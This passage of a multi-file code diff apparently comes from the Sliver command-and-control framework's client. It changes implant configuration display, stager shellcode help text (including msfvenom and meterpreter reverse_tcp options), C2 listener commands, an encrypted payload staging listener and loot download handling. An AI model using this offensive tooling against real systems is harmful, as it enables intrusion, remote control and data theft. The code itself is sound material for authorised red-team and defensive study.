// Timeouts and Intervals
|
||||
tw.ResetRows()
|
||||
if config.IsBeacon {
|
||||
tw.AppendRow(table.Row{
|
||||
"Beacon Interval",
|
||||
properties["beaconinterval"],
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Beacon Jitter",
|
||||
properties["beaconjitter"],
|
||||
})
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Reconnect Interval",
|
||||
properties["reconnect"],
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Maximum Connection Errors",
|
||||
properties["maxerrors"],
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll Timeout",
|
||||
properties["polltimeout"],
|
||||
})
|
||||
|
||||
con.PrintInfof("Timeouts and Intervals\n")
|
||||
con.Printf("%s\n\n", tw.Render())
|
||||
|
||||
// C2
|
||||
tw.ResetRows()
|
||||
tw.AppendRow(table.Row{
|
||||
"Endpoints",
|
||||
properties["implantC2"],
|
||||
})
|
||||
if len(config.CanaryDomains) > 0 {
|
||||
plural := "s"
|
||||
if len(config.CanaryDomains) == 1 {
|
||||
plural = ""
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf("Canary Domain%s", plural),
|
||||
properties["canary"],
|
||||
})
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Connection Strategy",
|
||||
properties["connectstrat"],
|
||||
})
|
||||
|
||||
con.PrintInfof("Command and Control\n")
|
||||
con.Printf("%s\n\n", tw.Render())
|
||||
|
||||
// Connection Restrictions
|
||||
if properties["outputlimits"] == "y" {
|
||||
tw.ResetRows()
|
||||
tw.AppendRow(table.Row{
|
||||
"Device must be domain joined",
|
||||
properties["limit-domjoin"],
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Execution will only occur before the following date/time",
|
||||
properties["limit-dt"],
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Files that must be present",
|
||||
properties["limit-file"],
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Device has the hostname",
|
||||
properties["limit-host"],
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Device uses the locale",
|
||||
properties["limit-locale"],
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"The implant must be running under the context of specified user",
|
||||
properties["limit-user"],
|
||||
})
|
||||
|
||||
con.PrintInfof("Execution is subject to the following restrictions\n")
|
||||
con.Printf("%s\n\n", tw.Render())
|
||||
}
|
||||
|
||||
// Traffic encoders
|
||||
if config.TrafficEncodersEnabled {
|
||||
tw.ResetRows()
|
||||
tw.AppendRow(table.Row{
|
||||
"Traffic encoders",
|
||||
properties["trafficencoders"],
|
||||
})
|
||||
con.PrintInfof("Traffic Encoders\n")
|
||||
con.Printf("%s\n\n", tw.Render())
|
||||
}
|
||||
|
||||
// Output messages that would otherwise get lost in between the tables
|
||||
if properties["outputlimits"] == "n" {
|
||||
con.PrintInfof("Execution is not subject to any restrictions\n")
|
||||
}
|
||||
|
||||
if !config.TrafficEncodersEnabled {
|
||||
con.PrintInfof("Traffic encoders are not enabled\n")
|
||||
}
|
||||
}
|
||||
|
||||
// ProfileNameCompleter - Completer for implant build names
|
||||
func ProfileNameCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
comps := func(ctx carapace.Context) carapace.Action {
|
||||
|
||||
@@ -59,9 +59,6 @@ var (
|
||||
consts.PwdStr: pwdHelp,
|
||||
consts.CatStr: catHelp,
|
||||
consts.DownloadStr: downloadHelp,
|
||||
consts.GrepStr: grepHelp,
|
||||
consts.HeadStr: headHelp,
|
||||
consts.TailStr: tailHelp,
|
||||
consts.UploadStr: uploadHelp,
|
||||
consts.MkdirStr: mkdirHelp,
|
||||
consts.RmStr: rmHelp,
|
||||
@@ -79,7 +76,6 @@ var (
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
consts.MountStr: mountHelp,
|
||||
|
||||
consts.WebsitesStr: websitesHelp,
|
||||
consts.ScreenshotStr: screenshotHelp,
|
||||
@@ -117,9 +113,6 @@ var (
|
||||
|
||||
// Builders
|
||||
consts.BuildersStr: buildersHelp,
|
||||
|
||||
// HTTP C2
|
||||
consts.C2ProfileStr: c2ProfilesHelp,
|
||||
}
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -194,32 +187,21 @@ Due to the large number of options and C2s this can be a lot of typing. If you'd
|
||||
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
|
||||
command.
|
||||
`
|
||||
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate msf-stager <options>
|
||||
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate stager <options>
|
||||
[[.Bold]]About:[[.Normal]] Generate a new sliver stager shellcode and saves the output to the cwd or a path specified with --save, or to stdout using --format.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Bad Characters ++[[.Normal]]
|
||||
Bad characters must be specified like this for single bytes:
|
||||
|
||||
generate msf-stager -b 00
|
||||
generate stager -b 00
|
||||
|
||||
And like this for multiple bytes:
|
||||
|
||||
generate msf-stager -b '00 0a cc'
|
||||
generate stager -b '00 0a cc'
|
||||
|
||||
[[.Bold]][[.Underline]]++ Output Formats ++[[.Normal]]
|
||||
You can use the --format flag to print out the shellcode to stdout, in one of the following transform formats:
|
||||
[[.Bold]]bash c csharp dw dword hex java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript[[.Normal]]
|
||||
|
||||
[[.Bold]][[.Underline]]++ Advanced Options ++[[.Normal]]
|
||||
If there are any advanced options you need to pass to msfvenom, you can use the --advanced flag to provide them. They must be provided in URI query format: option1=value1&option2=value2 and so on.
|
||||
The full list of advanced options is available using "show advanced" in msf for the payload corresponding to the chosen protocol:
|
||||
TCP: meterpreter/reverse_tcp
|
||||
HTTP: custom/reverse_winhttp
|
||||
HTTPS: custom/reverse_winhttps
|
||||
|
||||
Example:
|
||||
To tell the stager to use the proxy proxy.corp.com:8080 with the user name "corp_drone" and password "MyPassword", you would pass the following string to --advanced:
|
||||
HttpProxyHost=proxy.corp.com&HttpProxyPort=8080&HttpProxyUser=corp_drone&HttpProxyPass=MyPassword
|
||||
`
|
||||
stageListenerHelp = `[[.Bold]]Command:[[.Normal]] stage-listener <options>
|
||||
[[.Bold]]About:[[.Normal]] Starts a stager listener bound to a Sliver profile.
|
||||
@@ -328,38 +310,8 @@ Downloads can be filtered using the following patterns:
|
||||
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
|
||||
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
|
||||
headHelp = `[[.Bold]]Command:[[.Normal]] head [--bytes/-b <number of bytes>] [--lines/-l <number of lines>] <remote path>
|
||||
[[.Bold]]About:[[.Normal]] Fetch the first number of bytes or lines from a remote file and display it to stdout.`
|
||||
|
||||
tailHelp = `[[.Bold]]Command:[[.Normal]] tail [--bytes/-b <number of bytes>] [--lines/-l <number of lines>] <remote path>
|
||||
[[.Bold]]About:[[.Normal]] Fetch the last number of bytes or lines from a remote file and display it to stdout.`
|
||||
|
||||
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
|
||||
[[.Bold]]About:[[.Normal]] Upload a file or directory to the remote system.
|
||||
[[.Bold]][[.Underline]]Paths[[.Normal]]
|
||||
You can preserve directory structures using the -p switch. Directories will be preserved as they are specified in the source path.
|
||||
For example, the command upload -p /home/me/docs /tmp will upload the files in /home/me/docs to /tmp/home/me/docs on the target.
|
||||
However, if you are in the local directory /home/me, and issue the command upload -p docs /tmp, the files in /home/me/docs will
|
||||
be uploaded to /tmp/docs on the target. This is equivalent to upload /home/me/docs /tmp/docs (notice the lack of the -p switch).
|
||||
[[.Bold]][[.Underline]]Filters[[.Normal]]
|
||||
Filters are a way to limit uploads to file names matching given criteria. Filters DO NOT apply to directory names.
|
||||
|
||||
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
|
||||
upload /etc/*.conf will upload all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
|
||||
|
||||
Uploads can be filtered using the following patterns:
|
||||
'*': Wildcard, matches any sequence of non-path separators (slashes)
|
||||
Example: n*.txt will match all file names starting with n and ending with .txt
|
||||
|
||||
'?': Single character wildcard, matches a single non-path separator (slashes)
|
||||
Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
|
||||
|
||||
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
|
||||
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
|
||||
^[r-u] will match all characters except r, s, t, and u.
|
||||
|
||||
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
|
||||
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
|
||||
|
||||
procdumpHelp = `[[.Bold]]Command:[[.Normal]] procdump [pid]
|
||||
[[.Bold]]About:[[.Normal]] Dumps the process memory given a process identifier (pid)`
|
||||
@@ -380,9 +332,6 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
|
||||
`
|
||||
|
||||
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
|
||||
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
|
||||
|
||||
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
|
||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
|
||||
|
||||
@@ -1260,41 +1209,6 @@ Sliver uses the same hash identifiers as Hashcat (use the #):
|
||||
% 10s - A file containing lines of 'username:hash' pairs.
|
||||
% 10s - A CSV file containing 'username,hash' pairs (additional columns ignored).
|
||||
`, creds.HashNewlineFormat, creds.UserColonHashNewlineFormat, creds.CSVFormat)
|
||||
|
||||
c2ProfilesHelp = `[[.Bold]]Command:[[.Normal]] c2profile
|
||||
[[.Bold]]About:[[.Normal]] Display details of HTTP C2 profiles loaded into Sliver.
|
||||
`
|
||||
|
||||
C2ProfileImportStr = `[[.Bold]]Command:[[.Normal]] Import
|
||||
[[.Bold]]About:[[.Normal]] Load custom HTTP C2 profiles.
|
||||
`
|
||||
|
||||
grepHelp = `[[.Bold]]Command:[[.Normal]] grep [flags / options] <search pattern> <path>
|
||||
[[.Bold]]About:[[.Normal]] Search a file or path for a search pattern
|
||||
[[.Bold]][[.Underline]]Search Patterns[[.Normal]]
|
||||
Search patterns use RE2 regular expression syntax.
|
||||
[[.Bold]][[.Underline]]Binary Files[[.Normal]]
|
||||
When searching a binary file, grep will only return the line that matches if it exclusively contains UTF-8 printable characters.
|
||||
Before, after, and context options are disabled for binary files.
|
||||
[[.Bold]][[.Underline]]Path Filters[[.Normal]]
|
||||
Filters are a way to limit searches to file names matching given criteria. Filters DO NOT apply to directory names.
|
||||
|
||||
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
|
||||
grep something /etc/*.conf will search all files in /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
|
||||
|
||||
Searches can be filtered using the following patterns:
|
||||
'*': Wildcard, matches any sequence of non-path separators (slashes)
|
||||
Example: n*.txt will search all file names starting with n and ending with .txt
|
||||
|
||||
'?': Single character wildcard, matches a single non-path separator (slashes)
|
||||
Example: s?iver will search all file names starting with s followed by any non-separator character and ending with iver.
|
||||
|
||||
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
|
||||
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
|
||||
^[r-u] will match all characters except r, s, t, and u.
|
||||
|
||||
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
|
||||
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
)
|
||||
|
||||
const (
|
||||
|
||||
@@ -26,7 +26,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
)
|
||||
|
||||
// HostsIOCRmCmd - Remove an IOC from the database
|
||||
// HostsIOCRmCmd - Remove a host from the database
|
||||
func HostsIOCRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
host, err := SelectHost(con)
|
||||
if err != nil {
|
||||
@@ -43,5 +43,5 @@ func HostsIOCRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Removed IOC from database\n")
|
||||
con.PrintInfof("Removed host from database\n")
|
||||
}
|
||||
@@ -62,10 +62,6 @@ func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string
|
||||
}
|
||||
|
||||
func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
|
||||
if len(host.IOCs) == 0 {
|
||||
return nil, ErrNoIOCs
|
||||
}
|
||||
|
||||
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
|
||||
// to work properly since we rely on the index of the user's selection to find the session in the map
|
||||
var keys []string
|
||||
|
||||
@@ -42,8 +42,6 @@ import (
|
||||
var (
|
||||
// ErrNoHosts - No hosts in database
|
||||
ErrNoHosts = errors.New("no hosts")
|
||||
// ErrNoIOCs - No IOCs in database
|
||||
ErrNoIOCs = errors.New("no IOCs in database for selected host")
|
||||
// ErrNoSelection - No selection made
|
||||
ErrNoSelection = errors.New("no selection")
|
||||
)
|
||||
|
||||
@@ -43,10 +43,6 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string
|
||||
// ID passed via argument takes priority
|
||||
idArg := args[0]
|
||||
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
} else if session != nil || beacon != nil {
|
||||
currID := ""
|
||||
if session != nil {
|
||||
@@ -55,10 +51,6 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string
|
||||
currID = beacon.ID
|
||||
}
|
||||
session, beacon, err = use.SessionOrBeaconByID(currID, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
if session == nil && beacon == nil {
|
||||
session, beacon, err = use.SelectSessionOrBeacon(con)
|
||||
|
||||
@@ -41,6 +41,7 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
|
||||
lhost, _ := cmd.Flags().GetString("lhost")
|
||||
lport, _ := cmd.Flags().GetUint32("lport")
|
||||
canaries, _ := cmd.Flags().GetBool("no-canaries")
|
||||
persistent, _ := cmd.Flags().GetBool("persistent")
|
||||
enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
|
||||
|
||||
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
|
||||
@@ -49,6 +50,7 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Canaries: !canaries,
|
||||
Persistent: persistent,
|
||||
EnforceOTP: !enforceOTP,
|
||||
})
|
||||
con.Println()
|
||||
|
||||
@@ -37,6 +37,7 @@ func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
pollTimeout, _ := cmd.Flags().GetString("long-poll-timeout")
|
||||
pollJitter, _ := cmd.Flags().GetString("long-poll-jitter")
|
||||
website, _ := cmd.Flags().GetString("website")
|
||||
persistent, _ := cmd.Flags().GetBool("persistent")
|
||||
|
||||
longPollTimeout, err := time.ParseDuration(pollTimeout)
|
||||
if err != nil {
|
||||
@@ -56,6 +57,7 @@ func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Secure: false,
|
||||
Persistent: persistent,
|
||||
EnforceOTP: !disableOTP,
|
||||
LongPollTimeout: int64(longPollTimeout),
|
||||
LongPollJitter: int64(longPollJitter),
|
||||
|
||||
@@ -22,7 +22,7 @@ import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"os"
|
||||
"io/ioutil"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
@@ -40,6 +40,7 @@ func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
pollTimeout, _ := cmd.Flags().GetString("long-poll-timeout")
|
||||
pollJitter, _ := cmd.Flags().GetString("long-poll-jitter")
|
||||
website, _ := cmd.Flags().GetString("website")
|
||||
persistent, _ := cmd.Flags().GetBool("persistent")
|
||||
letsEncrypt, _ := cmd.Flags().GetBool("lets-encrypt")
|
||||
disableRandomize, _ := cmd.Flags().GetBool("disable-randomized-jarm")
|
||||
|
||||
@@ -71,6 +72,7 @@ func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
Cert: cert,
|
||||
Key: key,
|
||||
ACME: letsEncrypt,
|
||||
Persistent: persistent,
|
||||
EnforceOTP: !disableOTP,
|
||||
LongPollTimeout: int64(longPollTimeout),
|
||||
LongPollJitter: int64(longPollJitter),
|
||||
@@ -90,11 +92,11 @@ func getLocalCertificatePair(cmd *cobra.Command) ([]byte, []byte, error) {
|
||||
if certPath == "" && keyPath == "" {
|
||||
return nil, nil, nil
|
||||
}
|
||||
cert, err := os.ReadFile(certPath)
|
||||
cert, err := ioutil.ReadFile(certPath)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
key, err := os.ReadFile(keyPath)
|
||||
key, err := ioutil.ReadFile(keyPath)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
@@ -70,7 +70,6 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
|
||||
"Name",
|
||||
"Protocol",
|
||||
"Port",
|
||||
"Domains",
|
||||
})
|
||||
|
||||
var keys []int
|
||||
@@ -86,7 +85,6 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
|
||||
job.Name,
|
||||
job.Protocol,
|
||||
fmt.Sprintf("%d", job.Port),
|
||||
strings.Join(job.Domains, ","),
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
|
||||
@@ -31,11 +31,13 @@ import (
|
||||
func MTLSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
lhost, _ := cmd.Flags().GetString("lhost")
|
||||
lport, _ := cmd.Flags().GetUint32("lport")
|
||||
persistent, _ := cmd.Flags().GetBool("persistent")
|
||||
|
||||
con.PrintInfof("Starting mTLS listener ...\n")
|
||||
mtls, err := con.Rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Persistent: persistent,
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
|
||||
@@ -43,7 +43,7 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
listenerURL, _ := cmd.Flags().GetString("url")
|
||||
aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key")
|
||||
aesEncryptIv, _ := cmd.Flags().GetString("aes-encrypt-iv")
|
||||
rc4EncryptKey, _ := cmd.Flags().GetString("rc4-encrypt-key")
|
||||
prependSize, _ := cmd.Flags().GetBool("prepend-size")
|
||||
compressF, _ := cmd.Flags().GetString("compress")
|
||||
compress := strings.ToLower(compressF)
|
||||
|
||||
@@ -70,21 +70,6 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
return
|
||||
}
|
||||
|
||||
if rc4EncryptKey != "" && aesEncryptKey != "" {
|
||||
con.PrintErrorf("Cannot use both RC4 and AES encryption\n")
|
||||
return
|
||||
}
|
||||
|
||||
rc4Encrypt := false
|
||||
if rc4EncryptKey != "" {
|
||||
// RC4 keysize can be between 1 to 256 bytes
|
||||
if len(rc4EncryptKey) < 1 || len(rc4EncryptKey) > 256 {
|
||||
con.PrintErrorf("Incorrect length of RC4 Key\n")
|
||||
return
|
||||
}
|
||||
rc4Encrypt = true
|
||||
}
|
||||
|
||||
aesEncrypt := false
|
||||
if aesEncryptKey != "" {
|
||||
// check if aes encryption key is correct length
|
||||
@@ -136,11 +121,55 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
|
||||
}
|
||||
|
||||
if rc4Encrypt {
|
||||
stage2 = util.RC4EncryptUnsafe(stage2, []byte(rc4EncryptKey))
|
||||
}
|
||||
|
||||
switch stagingURL.Scheme {
|
||||
case "http":
|
||||
if prependSize {
|
||||
stage2 = prependPayloadSize(stage2)
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Starting HTTP staging listener...", ctrl)
|
||||
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
|
||||
Protocol: clientpb.StageProtocol_HTTP,
|
||||
Data: stage2,
|
||||
Host: stagingURL.Hostname(),
|
||||
Port: uint32(stagingPort),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error starting HTTP staging listener: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
|
||||
case "https":
|
||||
letsEncrypt, _ := cmd.Flags().GetBool("lets-encrypt")
|
||||
if prependSize {
|
||||
stage2 = prependPayloadSize(stage2)
|
||||
}
|
||||
cert, key, err := getLocalCertificatePair(cmd)
|
||||
if err != nil {
|
||||
con.Println()
|
||||
con.PrintErrorf("Failed to load local certificate %s\n", err)
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Starting HTTPS staging listener...", ctrl)
|
||||
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
|
||||
Protocol: clientpb.StageProtocol_HTTPS,
|
||||
Data: stage2,
|
||||
Host: stagingURL.Hostname(),
|
||||
Port: uint32(stagingPort),
|
||||
Cert: cert,
|
||||
Key: key,
|
||||
ACME: letsEncrypt,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error starting HTTPS staging listener: %v\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
|
||||
case "tcp":
|
||||
// Always prepend payload size for TCP stagers
|
||||
stage2 = prependPayloadSize(stage2)
|
||||
@@ -169,10 +198,6 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
|
||||
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
|
||||
}
|
||||
|
||||
if rc4Encrypt {
|
||||
con.PrintInfof("RC4 KEY: %v\n", rc4EncryptKey)
|
||||
}
|
||||
}
|
||||
|
||||
func prependPayloadSize(payload []byte) []byte {
|
||||
|
||||
@@ -32,12 +32,14 @@ func WGListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
|
||||
lport, _ := cmd.Flags().GetUint32("lport")
|
||||
nport, _ := cmd.Flags().GetUint32("nport")
|
||||
keyExchangePort, _ := cmd.Flags().GetUint32("key-port")
|
||||
persistent, _ := cmd.Flags().GetBool("persistent")
|
||||
|
||||
con.PrintInfof("Starting Wireguard listener ...\n")
|
||||
wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
|
||||
Port: lport,
|
||||
NPort: nport,
|
||||
KeyPort: keyExchangePort,
|
||||
Port: lport,
|
||||
NPort: nport,
|
||||
KeyPort: keyExchangePort,
|
||||
Persistent: persistent,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -92,14 +92,13 @@ func PerformDownload(remotePath string, fileName string, cmd *cobra.Command, con
|
||||
return download, nil
|
||||
}
|
||||
|
||||
func CreateLootMessage(hostUUID string, fileName string, lootName string, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
|
||||
func CreateLootMessage(fileName string, lootName string, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
|
||||
if lootName == "" {
|
||||
lootName = fileName
|
||||
}
|
||||
lootMessage := &clientpb.Loot{
|
||||
Name: lootName,
|
||||
OriginHostUUID: hostUUID,
|
||||
FileType: lootFileType,
|
||||
Name: lootName,
|
||||
FileType: lootFileType,
|
||||
File: &commonpb.File{
|
||||
Name: fileName,
|
||||
Data: data,
|
||||
@@ -142,7 +141,7 @@ func LootDownload(download *sliverpb.Download, lootName string, fileType clientp
|
||||
if !download.IsDir {
|
||||
// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
|
||||
downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
|
||||
lootMessage := CreateLootMessage(con.ActiveTarget.GetHostUUID(), filepath.Base(downloadPath), lootName, fileType, download.Data)
|
||||
lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, fileType, download.Data)
|
||||
SendLootMessage(lootMessage, con)
|
||||
} else {
|
||||
// We have to decompress the gzip file first
|
||||
@@ -191,18 +190,13 @@ func LootDownload(download *sliverpb.Download, lootName string, fileType clientp
|
||||
*/
|
||||
fileData, err := io.ReadAll(tarReader)
|
||||
if err == nil {
|
||||
lootMessage := CreateLootMessage(con.ActiveTarget.GetHostUUID(), filepath.Base(entryHeader.Name), lootName, fileType, fileData)
|
||||
lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, fileType, fileData)
|
||||
SendLootMessage(lootMessage, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func LootText(text string, lootName string, lootFileName string, fileType clientpb.FileType, con *console.SliverConsoleClient) {
|
||||
lootMessage := CreateLootMessage(con.ActiveTarget.GetHostUUID(), lootFileName, lootName, fileType, []byte(text))
|
||||
SendLootMessage(lootMessage, con)
|
||||
}
|
||||
|
||||
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
|
||||
func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
|
||||
@@ -1,139 +0,0 @@
|
||||
package monitor
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func MonitorConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
|
||||
resp, err := con.Rpc.MonitorListConfig(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintWTConfig(resp, con)
|
||||
}
|
||||
|
||||
func MonitorAddConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
|
||||
apiKey, _ := cmd.Flags().GetString("apiKey")
|
||||
apiPassword, _ := cmd.Flags().GetString("apiPassword")
|
||||
apiType, _ := cmd.Flags().GetString("type")
|
||||
|
||||
MonitoringProvider := &clientpb.MonitoringProvider{Type: apiType, APIKey: apiKey}
|
||||
|
||||
if apiType == "xforce" {
|
||||
MonitoringProvider.APIPassword = apiPassword
|
||||
}
|
||||
|
||||
resp, err := con.Rpc.MonitorAddConfig(context.Background(), MonitoringProvider)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if resp != nil && resp.Err != "" {
|
||||
con.PrintErrorf("%s\n", resp.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Added monitoring configuration\n")
|
||||
}
|
||||
|
||||
func MonitorDelConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
|
||||
resp, err := con.Rpc.MonitorListConfig(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
config, err := selectWatchtowerConfig(resp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
_, err = con.Rpc.MonitorDelConfig(context.Background(), config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
